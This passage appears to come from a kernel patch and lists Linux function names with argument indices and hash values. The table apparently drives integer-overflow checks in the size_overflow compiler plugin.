++_003238_hash ps_upsd_utilization_read 3 51669 _003238_hash NULL ++_003239_hash ptp_filter_init 2 36780 _003239_hash NULL ++_003240_hash pwr_disable_ps_read 3 13176 _003240_hash NULL ++_003241_hash pwr_elp_enter_read 3 5324 _003241_hash NULL ++_003242_hash pwr_enable_ps_read 3 17686 _003242_hash NULL ++_003243_hash pwr_fix_tsf_ps_read 3 26627 _003243_hash NULL ++_003244_hash pwr_missing_bcns_read 3 25824 _003244_hash NULL ++_003245_hash pwr_power_save_off_read 3 18355 _003245_hash NULL ++_003246_hash pwr_ps_enter_read 3 26935 _003246_hash &_000512_hash ++_003247_hash pwr_rcvd_awake_beacons_read 3 50505 _003247_hash NULL ++_003248_hash pwr_rcvd_beacons_read 3 52836 _003248_hash NULL ++_003249_hash pwr_tx_without_ps_read 3 48423 _003249_hash NULL ++_003250_hash pwr_tx_with_ps_read 3 60851 _003250_hash NULL ++_003251_hash pwr_wake_on_host_read 3 26321 _003251_hash NULL ++_003252_hash pwr_wake_on_timer_exp_read 3 22640 _003252_hash NULL ++_003253_hash rb_simple_read 3 45972 _003253_hash NULL ++_003254_hash read_file_dfs 3 43145 _003254_hash NULL ++_003255_hash retry_count_read 3 52129 _003255_hash NULL ++_003256_hash rx_dropped_read 3 44799 _003256_hash NULL ++_003257_hash rx_fcs_err_read 3 62844 _003257_hash NULL ++_003258_hash rx_hdr_overflow_read 3 64407 _003258_hash NULL ++_003259_hash rx_hw_stuck_read 3 57179 _003259_hash NULL ++_003260_hash rx_out_of_mem_read 3 10157 _003260_hash NULL ++_003261_hash rx_path_reset_read 3 23801 _003261_hash NULL ++_003262_hash rxpipe_beacon_buffer_thres_host_int_trig_rx_data_read 3 55106 _003262_hash NULL ++_003263_hash rxpipe_descr_host_int_trig_rx_data_read 3 22001 _003263_hash &_002981_hash ++_003264_hash rxpipe_missed_beacon_host_int_trig_rx_data_read 3 63405 _003264_hash NULL ++_003265_hash rxpipe_rx_prep_beacon_drop_read 3 2403 _003265_hash NULL ++_003266_hash rxpipe_tx_xfr_host_int_trig_rx_data_read 3 35538 _003266_hash NULL ++_003267_hash rx_reset_counter_read 3 58001 _003267_hash NULL ++_003268_hash rx_xfr_hint_trig_read 3 40283 _003268_hash NULL ++_003269_hash saa7146_vmalloc_build_pgtable 2 19780 _003269_hash NULL ++_003270_hash sched_feat_write 3 55202 _003270_hash NULL ++_003271_hash sd_alloc_ctl_entry 1 29708 _003271_hash NULL ++_003272_hash shmem_pread_fast 3 34147 _003272_hash NULL ++_003273_hash shmem_pread_slow 3 3198 _003273_hash NULL ++_003274_hash shmem_pwrite_slow 3 31741 _003274_hash NULL ++_003275_hash show_header 3 4722 _003275_hash &_000745_hash ++_003276_hash stack_max_size_read 3 1445 _003276_hash NULL ++_003277_hash subsystem_filter_read 3 62310 _003277_hash NULL ++_003278_hash subsystem_filter_write 3 13022 _003278_hash NULL ++_003279_hash swap_cgroup_swapon 2 13614 _003279_hash NULL ++_003280_hash system_enable_read 3 25815 _003280_hash NULL ++_003281_hash tda10048_writeregbulk 4 11050 _003281_hash NULL ++_003282_hash tlbflush_read_file 3 64661 _003282_hash NULL ++_003283_hash trace_options_core_read 3 47390 _003283_hash NULL ++_003284_hash trace_options_read 3 11419 _003284_hash NULL ++_003285_hash trace_parser_get_init 2 31379 _003285_hash NULL ++_003286_hash traceprobe_probes_write 3 64969 _003286_hash NULL ++_003287_hash trace_seq_to_user 3 65398 _003287_hash NULL ++_003288_hash tracing_buffers_read 3 11124 _003288_hash NULL ++_003289_hash tracing_clock_write 3 27961 _003289_hash NULL ++_003290_hash tracing_cpumask_read 3 7010 _003290_hash NULL ++_003291_hash tracing_ctrl_read 3 46922 _003291_hash NULL ++_003292_hash tracing_entries_read 3 8345 _003292_hash NULL ++_003293_hash tracing_max_lat_read 3 8890 _003293_hash NULL ++_003294_hash tracing_read_dyn_info 3 45468 _003294_hash NULL ++_003295_hash tracing_readme_read 3 16493 _003295_hash NULL ++_003296_hash tracing_saved_cmdlines_read 3 21434 _003296_hash NULL ++_003297_hash tracing_set_trace_read 3 44122 _003297_hash NULL ++_003298_hash tracing_set_trace_write 3 57096 _003298_hash NULL ++_003299_hash tracing_stats_read 3 34537 _003299_hash NULL ++_003300_hash tracing_total_entries_read 3 62817 _003300_hash NULL ++_003301_hash tracing_trace_options_write 3 153 _003301_hash NULL ++_003302_hash tstats_write 3 60432 _003302_hash &_000009_hash ++_003303_hash ttm_bo_fbdev_io 4 9805 _003303_hash NULL ++_003304_hash ttm_bo_io 5 47000 _003304_hash NULL ++_003305_hash ttm_dma_page_pool_free 2 34135 _003305_hash NULL ++_003306_hash ttm_page_pool_free 2 61661 _003306_hash NULL ++_003307_hash ttusb2_msg 4 3100 _003307_hash NULL ++_003308_hash tx_internal_desc_overflow_read 3 47300 _003308_hash NULL ++_003309_hash tx_queue_len_read 3 1463 _003309_hash NULL ++_003310_hash tx_queue_status_read 3 44978 _003310_hash NULL ++_003311_hash u_memcpya 2-3 30139 _003311_hash NULL ++_003313_hash usb_allocate_stream_buffers 3 8964 _003313_hash NULL ++_003314_hash vifs_state_read 3 33762 _003314_hash NULL ++_003315_hash vmalloc_to_sg 2 58354 _003315_hash NULL ++_003316_hash vm_map_ram 2 23078 _003316_hash &_001095_hash ++_003317_hash vmw_execbuf_process 5 22885 _003317_hash NULL ++_003318_hash vmw_fifo_reserve 2 12141 _003318_hash NULL ++_003319_hash vmw_kms_present 9 38130 _003319_hash NULL ++_003320_hash vmw_kms_readback 6 5727 _003320_hash NULL ++_003321_hash wep_addr_key_count_read 3 20174 _003321_hash NULL ++_003322_hash wep_decrypt_fail_read 3 58567 _003322_hash NULL ++_003323_hash wep_default_key_count_read 3 43035 _003323_hash NULL ++_003324_hash wep_interrupt_read 3 41492 _003324_hash NULL ++_003325_hash wep_key_not_found_read 3 13377 _003325_hash &_000952_hash ++_003326_hash wep_packets_read 3 18751 _003326_hash NULL ++_003327_hash wl1251_cmd_template_set 4 6172 _003327_hash NULL ++_003328_hash wl1271_format_buffer 2 20834 _003328_hash NULL ++_003329_hash wl1271_rx_filter_alloc_field 5 46721 _003329_hash NULL ++_003330_hash wl12xx_cmd_build_probe_req 6-8 54946 _003330_hash NULL ++_003332_hash wlcore_alloc_hw 1 7785 _003332_hash NULL ++_003333_hash aggr_size_rx_size_read 3 33526 _003333_hash NULL ++_003334_hash aggr_size_tx_agg_vs_rate_read 3 21438 _003334_hash NULL ++_003335_hash alloc_and_copy_ftrace_hash 1 29368 _003335_hash NULL ++_003336_hash alloc_bulk_urbs_generic 5 12127 _003336_hash NULL ++_003337_hash alloc_ieee80211 1 20063 _003337_hash NULL ++_003338_hash alloc_ieee80211_rsl 1 34564 _003338_hash NULL ++_003339_hash alloc_perm_bits 2 1532 _003339_hash NULL ++_003340_hash alloc_private 2 22399 _003340_hash NULL ++_003341_hash alloc_rtllib 1 51136 _003341_hash NULL ++_003342_hash alloc_rx_desc_ring 2 18016 _003342_hash NULL ++_003343_hash arcfb_write 3 8702 _003343_hash NULL ++_003344_hash ath6kl_usb_bmi_read 3 48745 _003344_hash NULL ++_003345_hash ath6kl_usb_bmi_write 3 2454 _003345_hash &_001020_hash ++_003346_hash ath6kl_usb_ctrl_msg_exchange 4 33327 _003346_hash NULL ++_003347_hash au0828_init_isoc 2-3 61917 _003347_hash NULL ++_003349_hash auok190xfb_write 3 37001 _003349_hash NULL ++_003350_hash beacon_interval_read 3 7091 _003350_hash NULL ++_003351_hash brcmf_usb_attach 1-2 44656 _003351_hash NULL ++_003353_hash broadsheetfb_write 3 39976 _003353_hash NULL ++_003354_hash broadsheet_spiflash_rewrite_sector 2 54864 _003354_hash NULL ++_003355_hash ci13xxx_add_device 3 14456 _003355_hash NULL ++_003356_hash cmpk_message_handle_tx 4 54024 _003356_hash NULL ++_003357_hash comedi_alloc_subdevices 2 29207 _003357_hash NULL ++_003358_hash comedi_buf_alloc 3 24822 _003358_hash NULL ++_003359_hash comedi_read 3 13199 _003359_hash NULL ++_003360_hash comedi_write 3 47926 _003360_hash NULL ++_003361_hash create_trace_probe 1 20175 _003361_hash NULL ++_003362_hash create_trace_uprobe 1 13184 _003362_hash NULL ++_003363_hash cx18_copy_buf_to_user 4 22735 _003363_hash NULL ++_003364_hash cx231xx_init_bulk 2-3 47024 _003364_hash NULL ++_003366_hash cx231xx_init_isoc 2-3 56453 _003366_hash NULL ++_003368_hash cx231xx_init_vbi_isoc 2-3 28053 _003368_hash NULL ++_003370_hash da9052_group_write 3 4534 _003370_hash NULL ++_003371_hash debug_debug1_read 3 8856 _003371_hash NULL ++_003372_hash debug_debug2_read 3 30526 _003372_hash NULL ++_003373_hash debug_debug3_read 3 56894 _003373_hash NULL ++_003374_hash debug_debug4_read 3 61367 _003374_hash NULL ++_003375_hash debug_debug5_read 3 2291 _003375_hash NULL ++_003376_hash debug_debug6_read 3 33168 _003376_hash NULL ++_003377_hash dev_read 3 56369 _003377_hash NULL ++_003378_hash do_dmabuf_dirty_ldu 6 52241 _003378_hash NULL ++_003379_hash drm_compat_ioctl 2 51717 _003379_hash NULL ++_003380_hash drm_mode_create_tv_properties 2 23122 _003380_hash NULL ++_003381_hash drm_property_create_bitmask 5 30195 _003381_hash NULL ++_003382_hash drm_property_create_enum 5 29201 _003382_hash NULL ++_003383_hash dsp_buffer_alloc 2 11684 _003383_hash NULL ++_003384_hash dt3155_alloc_coherent 2 58073 _003384_hash NULL ++_003385_hash dtim_interval_read 3 654 _003385_hash NULL ++_003386_hash dvb_audio_write 3 51275 _003386_hash NULL ++_003387_hash dvb_ca_en50221_io_ioctl 2 26490 _003387_hash NULL ++_003388_hash dvb_ca_write 3 41171 _003388_hash NULL ++_003389_hash dvb_demux_ioctl 2 42733 _003389_hash NULL ++_003390_hash dvb_dmxdev_buffer_read 4 20682 _003390_hash NULL ++_003391_hash dvb_dvr_ioctl 2 49182 _003391_hash NULL ++_003392_hash dvb_generic_ioctl 2 21810 _003392_hash NULL ++_003393_hash dvb_net_ioctl 2 61559 _003393_hash NULL ++_003394_hash dvb_net_sec_callback 2 28786 _003394_hash NULL ++_003396_hash dvb_video_write 3 754 _003396_hash NULL ++_003397_hash dynamic_ps_timeout_read 3 10110 _003397_hash NULL ++_003398_hash easycap_alsa_vmalloc 2 14426 _003398_hash NULL ++_003399_hash em28xx_alloc_isoc 4 46892 _003399_hash NULL ++_003400_hash error_error_bar_retry_read 3 64305 _003400_hash NULL ++_003401_hash error_error_frame_cts_nul_flid_read 3 17262 _003401_hash NULL ++_003402_hash error_error_frame_read 3 39947 _003402_hash &_002436_hash ++_003403_hash error_error_null_Frame_tx_start_read 3 55024 _003403_hash NULL ++_003404_hash error_error_numll_frame_cts_start_read 3 47781 _003404_hash NULL ++_003405_hash ext_sd_execute_read_data 9 48589 _003405_hash NULL ++_003406_hash ext_sd_execute_write_data 9 8175 _003406_hash NULL ++_003407_hash fast_user_write 5 20494 _003407_hash NULL ++_003408_hash f_audio_buffer_alloc 1 41110 _003408_hash NULL ++_003409_hash fb_alloc_cmap_gfp 2 20792 _003409_hash NULL ++_003410_hash fbcon_do_set_font 2-3 4079 _003410_hash NULL ++_003412_hash fb_read 3 33506 _003412_hash NULL ++_003413_hash fb_sys_read 3 13778 _003413_hash NULL ++_003414_hash fb_sys_write 3 33130 _003414_hash NULL ++_003415_hash fb_write 3 46924 _003415_hash NULL ++_003416_hash firmwareUpload 3 32794 _003416_hash NULL ++_003417_hash fmc_send_cmd 5 20435 _003417_hash NULL ++_003418_hash fops_read 3 40672 _003418_hash NULL ++_003419_hash forced_ps_read 3 31685 _003419_hash NULL ++_003420_hash frame_alloc 4 15981 _003420_hash NULL ++_003421_hash framebuffer_alloc 1 59145 _003421_hash NULL ++_003422_hash ftrace_write 3 29551 _003422_hash NULL ++_003423_hash fw_download_code 3 13249 _003423_hash NULL ++_003424_hash fwSendNullPacket 2 54618 _003424_hash NULL ++_003425_hash gdm_wimax_netif_rx 3 43423 _003425_hash &_001810_hash ++_003426_hash get_vm_area 1 18080 _003426_hash NULL ++_003427_hash __get_vm_area 1 61599 _003427_hash NULL ++_003428_hash get_vm_area_caller 1 10527 _003428_hash NULL ++_003429_hash __get_vm_area_caller 1 56416 _003828_hash NULL nohasharray ++_003430_hash gspca_dev_probe2 4 59833 _003430_hash NULL ++_003431_hash hdpvr_read 3 9273 _003431_hash NULL ++_003432_hash hecubafb_write 3 26942 _003432_hash NULL ++_003433_hash i915_compat_ioctl 2 3656 _003433_hash NULL ++_003434_hash i915_gem_execbuffer_relocate_slow 7 25355 _003434_hash NULL ++_003435_hash ieee80211_alloc_txb 1-2 52477 _003435_hash NULL ++_003437_hash ieee80211_authentication_req 3 63973 _003437_hash NULL ++_003438_hash ieee80211_wx_set_gen_ie 3 51399 _003438_hash NULL ++_003439_hash ieee80211_wx_set_gen_ie_rsl 3 3521 _003458_hash NULL nohasharray ++_003440_hash intel_sdvo_set_value 4 2311 _003440_hash NULL ++_003441_hash ir_lirc_transmit_ir 3 64403 _003441_hash NULL ++_003442_hash irq_blk_threshold_read 3 33666 _003442_hash NULL ++_003443_hash irq_pkt_threshold_read 3 33356 _003443_hash &_000154_hash ++_003444_hash irq_timeout_read 3 54653 _003444_hash NULL ++_003445_hash ivtv_buf_copy_from_user 4 25502 _003445_hash NULL ++_003446_hash ivtv_copy_buf_to_user 4 6159 _003446_hash NULL ++_003447_hash ivtvfb_write 3 40023 _003447_hash NULL ++_003448_hash kgdb_hex2mem 3 24755 _003448_hash NULL ++_003449_hash lirc_buffer_init 2-3 53282 _003449_hash NULL ++_003451_hash lirc_write 3 20604 _003451_hash NULL ++_003452_hash mce_request_packet 3 1073 _003452_hash NULL ++_003453_hash media_entity_init 2-4 15870 _003453_hash &_001742_hash ++_003455_hash mem_fw_gen_free_mem_blks_read 3 11413 _003455_hash NULL ++_003456_hash mem_fwlog_free_mem_blks_read 3 59616 _003456_hash NULL ++_003457_hash mem_rx_free_mem_blks_read 3 675 _003457_hash NULL ++_003458_hash mem_tx_free_mem_blks_read 3 3521 _003458_hash &_003439_hash ++_003459_hash metronomefb_write 3 8823 _003459_hash NULL ++_003460_hash mga_compat_ioctl 2 52170 _003460_hash NULL ++_003461_hash mmio_read 4 40348 _003461_hash NULL ++_003462_hash netlink_send 5 38434 _003462_hash NULL ++_003463_hash nfc_hci_execute_cmd 5 43882 _003463_hash NULL ++_003464_hash nfc_hci_send_event 5 21452 _003464_hash NULL ++_003465_hash nfc_hci_send_response 5 56462 _003465_hash NULL ++_003466_hash ni_gpct_device_construct 5 610 _003466_hash NULL ++_003467_hash nouveau_compat_ioctl 2 28305 _003467_hash NULL ++_003468_hash odev_update 2 50169 _003468_hash NULL ++_003469_hash opera1_usb_i2c_msgxfer 4 64521 _003469_hash NULL ++_003470_hash OSDSetBlock 2-4 38986 _003470_hash NULL ++_003472_hash oz_add_farewell 5 20652 _003472_hash NULL ++_003473_hash oz_cdev_read 3 20659 _003473_hash NULL ++_003474_hash oz_cdev_write 3 33852 _003474_hash NULL ++_003475_hash oz_ep_alloc 2 5587 _003475_hash NULL ++_003476_hash oz_events_read 3 47535 _003476_hash NULL ++_003477_hash persistent_ram_buffer_map 1-2 11332 _003477_hash NULL ++_003479_hash pipeline_cs_rx_packet_in_read 3 37089 _003479_hash NULL ++_003480_hash pipeline_cs_rx_packet_out_read 3 58926 _003480_hash NULL ++_003481_hash pipeline_csum_to_rx_xfer_swi_read 3 15403 _003481_hash NULL ++_003482_hash pipeline_dec_packet_in_fifo_full_read 3 33052 _003482_hash NULL ++_003483_hash pipeline_dec_packet_in_read 3 47076 _003483_hash NULL ++_003484_hash pipeline_dec_packet_out_read 3 54052 _003484_hash NULL ++_003485_hash pipeline_defrag_to_csum_swi_read 3 63037 _003485_hash NULL ++_003486_hash pipeline_enc_rx_stat_fifo_int_read 3 7107 _003486_hash NULL ++_003487_hash pipeline_enc_tx_stat_fifo_int_read 3 14680 _003487_hash NULL ++_003488_hash pipeline_hs_tx_stat_fifo_int_read 3 15642 _003488_hash &_001260_hash ++_003489_hash pipeline_pipeline_fifo_full_read 3 34095 _003489_hash NULL ++_003490_hash pipeline_post_proc_swi_read 3 24108 _003490_hash NULL ++_003491_hash pipeline_pre_proc_swi_read 3 3898 _003491_hash NULL ++_003492_hash pipeline_pre_to_defrag_swi_read 3 56321 _003492_hash NULL ++_003493_hash pipeline_rx_complete_stat_fifo_int_read 3 40671 _003493_hash NULL ++_003494_hash pipeline_sec_frag_swi_read 3 30294 _003494_hash NULL ++_003495_hash pipeline_tcp_rx_stat_fifo_int_read 3 26745 _003495_hash NULL ++_003496_hash pipeline_tcp_tx_stat_fifo_int_read 3 32589 _003496_hash NULL ++_003497_hash play_iframe 3 8219 _003497_hash NULL ++_003498_hash probes_write 3 29711 _003498_hash NULL ++_003499_hash psb_unlocked_ioctl 2 16926 _003499_hash &_002668_hash ++_003500_hash ps_poll_ps_poll_max_ap_turn_read 3 53140 _003500_hash NULL ++_003501_hash ps_poll_ps_poll_timeouts_read 3 5934 _003501_hash NULL ++_003502_hash ps_poll_ps_poll_utilization_read 3 39383 _003502_hash NULL ++_003503_hash ps_poll_upsd_max_ap_turn_read 3 42050 _003503_hash NULL ++_003504_hash ps_poll_upsd_timeouts_read 3 36755 _003504_hash NULL ++_003505_hash ps_poll_upsd_utilization_read 3 28519 _003505_hash NULL ++_003506_hash pvr2_ioread_read 3 10720 _003506_hash &_001669_hash ++_003507_hash pvr2_ioread_set_sync_key 3 59882 _003507_hash NULL ++_003508_hash pvr2_stream_buffer_count 2 33719 _003508_hash NULL ++_003509_hash pwr_connection_out_of_sync_read 3 35061 _003509_hash NULL ++_003510_hash pwr_cont_miss_bcns_spread_read 3 39250 _003515_hash NULL nohasharray ++_003511_hash pwr_missing_bcns_cnt_read 3 45113 _003511_hash NULL ++_003512_hash pwr_rcvd_awake_bcns_cnt_read 3 12632 _003512_hash NULL ++_003513_hash pwr_rcvd_bcns_cnt_read 3 4774 _003513_hash NULL ++_003514_hash qc_capture 3 19298 _003514_hash NULL ++_003515_hash r128_compat_ioctl 2 39250 _003515_hash &_003510_hash ++_003516_hash radeon_compat_ioctl 2 59150 _003516_hash NULL ++_003517_hash radeon_kms_compat_ioctl 2 51371 _003517_hash NULL ++_003518_hash Realloc 2 34961 _003518_hash NULL ++_003519_hash redrat3_transmit_ir 3 64244 _003519_hash NULL ++_003520_hash reg_w_buf 3 27724 _003520_hash NULL ++_003521_hash reg_w_ixbuf 4 34736 _003521_hash NULL ++_003522_hash rtllib_alloc_txb 1-2 21687 _003522_hash NULL ++_003524_hash rtllib_authentication_req 3 26713 _003524_hash NULL ++_003525_hash rtllib_wx_set_gen_ie 3 59808 _003525_hash NULL ++_003526_hash rts51x_transfer_data_partial 6 5735 _003526_hash NULL ++_003527_hash rvmalloc 1 46873 _003527_hash NULL ++_003528_hash rx_decrypt_key_not_found_read 3 37820 _003528_hash NULL ++_003529_hash rx_defrag_called_read 3 1897 _003529_hash NULL ++_003530_hash rx_defrag_decrypt_failed_read 3 41411 _003530_hash NULL ++_003531_hash rx_defrag_init_called_read 3 35935 _003531_hash NULL ++_003532_hash rx_defrag_in_process_called_read 3 59338 _003532_hash NULL ++_003533_hash rx_defrag_need_decrypt_read 3 42253 _003533_hash NULL ++_003534_hash rx_defrag_need_defrag_read 3 28117 _003534_hash NULL ++_003535_hash rx_defrag_tkip_called_read 3 21031 _003535_hash NULL ++_003536_hash rx_filter_accum_arp_pend_requests_read 3 11003 _003536_hash NULL ++_003537_hash rx_filter_arp_filter_read 3 61914 _003537_hash NULL ++_003538_hash rx_filter_beacon_filter_read 3 49279 _003538_hash NULL ++_003539_hash rx_filter_data_filter_read 3 30098 _003539_hash NULL ++_003540_hash rx_filter_dup_filter_read 3 37238 _003540_hash NULL ++_003541_hash rx_filter_ibss_filter_read 3 50167 _003541_hash NULL ++_003542_hash rx_filter_max_arp_queue_dep_read 3 5851 _003542_hash NULL ++_003543_hash rx_filter_mc_filter_read 3 25712 _003543_hash NULL ++_003544_hash rx_filter_protection_filter_read 3 39282 _003544_hash NULL ++_003545_hash rx_rate_rx_frames_per_rates_read 3 7282 _003545_hash NULL ++_003546_hash rx_rx_beacon_early_term_read 3 21559 _003546_hash NULL ++_003547_hash rx_rx_checksum_result_read 3 50617 _003547_hash NULL ++_003548_hash rx_rx_cmplt_read 3 14753 _003548_hash NULL ++_003549_hash rx_rx_cmplt_task_read 3 35226 _003549_hash NULL ++_003550_hash rx_rx_defrag_end_read 3 505 _003550_hash NULL ++_003551_hash rx_rx_defrag_read 3 2010 _003551_hash NULL ++_003552_hash rx_rx_done_read 3 65217 _003552_hash NULL ++_003553_hash rx_rx_dropped_frame_read 3 23748 _003553_hash NULL ++_003554_hash rx_rx_frame_checksum_read 3 40140 _003554_hash NULL ++_003555_hash rx_rx_hdr_overflow_read 3 35002 _003555_hash NULL ++_003556_hash rx_rx_out_of_mpdu_nodes_read 3 64668 _003556_hash NULL ++_003557_hash rx_rx_phy_hdr_read 3 20950 _003557_hash NULL ++_003558_hash rx_rx_pre_complt_read 3 41653 _003558_hash NULL ++_003559_hash rx_rx_timeout_read 3 62389 _003559_hash NULL ++_003560_hash rx_rx_timeout_wa_read 3 50204 _003560_hash NULL ++_003561_hash rx_rx_tkip_replays_read 3 60193 _003561_hash NULL ++_003562_hash rx_rx_wa_ba_not_expected_read 3 61341 _003562_hash NULL ++_003563_hash rx_rx_wa_density_dropped_frame_read 3 26095 _003563_hash NULL ++_003564_hash rx_streaming_always_read 3 49401 _003564_hash NULL ++_003565_hash rx_streaming_interval_read 3 55291 _003565_hash NULL ++_003566_hash saa7164_buffer_alloc_user 2 9627 _003566_hash NULL ++_003567_hash send_control_msg 6 48498 _003567_hash NULL ++_003568_hash SendTxCommandPacket 3 42901 _003568_hash NULL ++_003569_hash setup_window 2-7-5-4 59178 _003569_hash NULL ++_003573_hash shmem_pwrite_fast 3 46842 _003573_hash NULL ++_003574_hash sleep_auth_read 3 19159 _003574_hash NULL ++_003575_hash sn9c102_read 3 29305 _003575_hash NULL ++_003576_hash snd_pcm_alloc_vmalloc_buffer 2 44595 _003576_hash NULL ++_003577_hash split_scan_timeout_read 3 20029 _003577_hash NULL ++_003578_hash stk_prepare_sio_buffers 2 57168 _003578_hash NULL ++_003579_hash store_debug_level 3 35652 _003579_hash NULL ++_003580_hash suspend_dtim_interval_read 3 64971 _003580_hash NULL ++_003581_hash sys_prctl 4 8766 _003581_hash NULL ++_003582_hash tm6000_read_write_usb 7 50774 _003582_hash &_002149_hash ++_003583_hash tracing_read_pipe 3 35312 _003583_hash NULL ++_003584_hash ts_read 3 44687 _003584_hash NULL ++_003585_hash ts_write 3 64336 _003585_hash NULL ++_003586_hash tt3650_ci_msg 4 57219 _003586_hash NULL ++_003587_hash ttm_object_device_init 2 10321 _003587_hash NULL ++_003588_hash ttm_object_file_init 2 27804 _003588_hash NULL ++_003589_hash tx_frag_bad_mblk_num_read 3 28064 _003589_hash NULL ++_003590_hash tx_frag_cache_hit_read 3 29639 _003590_hash NULL ++_003591_hash tx_frag_cache_miss_read 3 28394 _003591_hash NULL ++_003592_hash tx_frag_called_read 3 1748 _003592_hash NULL ++_003593_hash tx_frag_failed_read 3 43540 _003593_hash NULL ++_003594_hash tx_frag_init_called_read 3 48377 _003594_hash NULL ++_003595_hash tx_frag_in_process_called_read 3 1290 _003595_hash NULL ++_003596_hash tx_frag_key_not_found_read 3 22971 _003596_hash NULL ++_003597_hash tx_frag_mpdu_alloc_failed_read 3 41167 _003597_hash NULL ++_003598_hash tx_frag_need_fragmentation_read 3 50153 _003598_hash NULL ++_003599_hash tx_frag_tkip_called_read 3 31575 _003599_hash NULL ++_003600_hash tx_tx_burst_programmed_read 3 20320 _003600_hash NULL ++_003601_hash tx_tx_checksum_result_read 3 36490 _003601_hash &_001996_hash ++_003602_hash tx_tx_cmplt_read 3 35854 _003602_hash NULL ++_003603_hash tx_tx_data_prepared_read 3 43497 _003603_hash NULL ++_003604_hash tx_tx_data_programmed_read 3 36871 _003604_hash NULL ++_003605_hash tx_tx_done_data_read 3 6799 _003605_hash NULL ++_003606_hash tx_tx_done_int_template_read 3 55511 _003606_hash &_001887_hash ++_003607_hash tx_tx_done_template_read 3 35104 _003607_hash &_000106_hash ++_003608_hash tx_tx_exch_expiry_read 3 8749 _003608_hash NULL ++_003609_hash tx_tx_exch_pending_read 3 53018 _003609_hash NULL ++_003610_hash tx_tx_exch_read 3 52986 _003610_hash NULL ++_003611_hash tx_tx_frame_checksum_read 3 41553 _003611_hash NULL ++_003612_hash tx_tx_imm_resp_read 3 55964 _003612_hash NULL ++_003613_hash tx_tx_prepared_descs_read 3 9221 _003613_hash NULL ++_003614_hash tx_tx_retry_data_read 3 1926 _003614_hash NULL ++_003615_hash tx_tx_retry_template_read 3 57623 _003615_hash NULL ++_003616_hash tx_tx_start_data_read 3 53219 _003616_hash NULL ++_003617_hash tx_tx_start_fw_gen_read 3 58648 _003617_hash NULL ++_003618_hash tx_tx_start_int_templates_read 3 58324 _003618_hash NULL ++_003619_hash tx_tx_start_null_frame_read 3 6281 _003619_hash NULL ++_003620_hash tx_tx_starts_read 3 3617 _003620_hash NULL ++_003621_hash tx_tx_start_templates_read 3 17164 _003621_hash NULL ++_003622_hash tx_tx_template_prepared_read 3 30424 _003622_hash NULL ++_003623_hash tx_tx_template_programmed_read 3 30461 _003623_hash NULL ++_003624_hash udi_log_event 3 58105 _003624_hash NULL ++_003625_hash udl_prime_create 2 57159 _003625_hash NULL ++_003626_hash uf_create_device_nodes 2 24948 _003626_hash NULL ++_003627_hash uf_sme_queue_message 3 15697 _003627_hash NULL ++_003628_hash ufx_alloc_urb_list 3 10349 _003628_hash NULL ++_003629_hash unifi_net_data_malloc 3 24716 _003629_hash NULL ++_003630_hash unifi_read 3 14899 _003630_hash NULL ++_003631_hash unifi_write 3 65012 _003631_hash NULL ++_003632_hash usb_buffer_alloc 2 36276 _003632_hash NULL ++_003633_hash usbvision_rvmalloc 1 19655 _003633_hash NULL ++_003634_hash usbvision_v4l2_read 3 34386 _003634_hash NULL ++_003635_hash uvc_alloc_buffers 2-3 9656 _003635_hash NULL ++_003637_hash uvc_alloc_entity 3-4 20836 _003637_hash NULL ++_003639_hash uvc_debugfs_stats_read 3 56651 _003639_hash NULL ++_003640_hash uvc_simplify_fraction 3 31303 _003640_hash NULL ++_003641_hash v4l2_ctrl_new 7 24927 _003641_hash NULL ++_003642_hash v4l2_event_subscribe 3 53687 _003642_hash NULL ++_003643_hash v4l_stk_read 3 39672 _003643_hash NULL ++_003644_hash __vb2_perform_fileio 3 63033 _003644_hash NULL ++_003645_hash vfd_write 3 14717 _003645_hash NULL ++_003646_hash vfio_config_do_rw 3 46091 _003646_hash NULL ++_003647_hash vfio_msi_enable 2 20906 _003647_hash NULL ++_003648_hash viafb_dvp0_proc_write 3 23023 _003648_hash NULL ++_003649_hash viafb_dvp1_proc_write 3 48864 _003649_hash NULL ++_003650_hash viafb_vt1636_proc_write 3 16018 _003650_hash NULL ++_003651_hash __videobuf_alloc_vb 1 27062 _003651_hash NULL ++_003652_hash __videobuf_alloc_vb 1 5665 _003652_hash NULL ++_003653_hash __videobuf_copy_to_user 4 15423 _003653_hash NULL ++_003654_hash videobuf_dma_init_kernel 3 6963 _003654_hash NULL ++_003655_hash videobuf_pages_to_sg 2 3708 _003655_hash NULL ++_003656_hash videobuf_vmalloc_to_sg 2 4548 _003656_hash NULL ++_003657_hash video_usercopy 2 62151 _003657_hash NULL ++_003658_hash virtscsi_alloc_tgt 2 6643 _003658_hash NULL ++_003659_hash vmw_cursor_update_image 3-4 16332 _003659_hash NULL ++_003661_hash vmw_framebuffer_dmabuf_dirty 6 37661 _003661_hash &_001116_hash ++_003662_hash vmw_framebuffer_surface_dirty 6 48132 _003662_hash NULL ++_003663_hash vmw_gmr2_bind 3 21305 _003663_hash NULL ++_003664_hash vmw_unlocked_ioctl 2 19212 _003664_hash NULL ++_003665_hash w9966_v4l_read 3 31148 _003665_hash NULL ++_003666_hash wl1273_fm_fops_write 3 60621 _003666_hash NULL ++_003667_hash zoran_write 3 22404 _003667_hash NULL ++_003668_hash alloc_vm_area 1 15989 _003668_hash NULL ++_003669_hash cx18_copy_mdl_to_user 4 45549 _003669_hash NULL ++_003670_hash dlfb_ops_write 3 64150 _003670_hash NULL ++_003671_hash dvb_demux_read 3 13981 _003671_hash NULL ++_003672_hash dvb_dmxdev_read_sec 4 7892 _003672_hash NULL ++_003673_hash dvb_dvr_read 3 17073 _003673_hash NULL ++_003674_hash em28xx_init_isoc 4 62883 _003674_hash &_000729_hash ++_003675_hash fb_alloc_cmap 2 6554 _003675_hash NULL ++_003676_hash gspca_dev_probe 4 2570 _003676_hash NULL ++_003677_hash ieee80211_auth_challenge 3 18810 _003677_hash NULL ++_003678_hash ieee80211_rtl_auth_challenge 3 61897 _003678_hash NULL ++_003679_hash init_pci_cap_msi_perm 2 59033 _003679_hash NULL ++_003680_hash __ioremap_caller 1-2 21800 _003680_hash NULL ++_003682_hash ivtv_read 3 57796 _003682_hash NULL ++_003683_hash ivtv_v4l2_write 3 39226 _003683_hash NULL ++_003684_hash mce_async_out 3 58056 _003684_hash NULL ++_003685_hash mce_flush_rx_buffer 2 14976 _003685_hash NULL ++_003686_hash ms_read_multiple_pages 4-5 8052 _003686_hash NULL ++_003688_hash ms_write_multiple_pages 5-6 10362 _003688_hash NULL ++_003690_hash nfc_hci_send_cmd 5 55714 _003690_hash NULL ++_003691_hash persistent_ram_new 1-2 40501 _003691_hash NULL ++_003693_hash picolcd_fb_write 3 2318 _003693_hash NULL ++_003694_hash 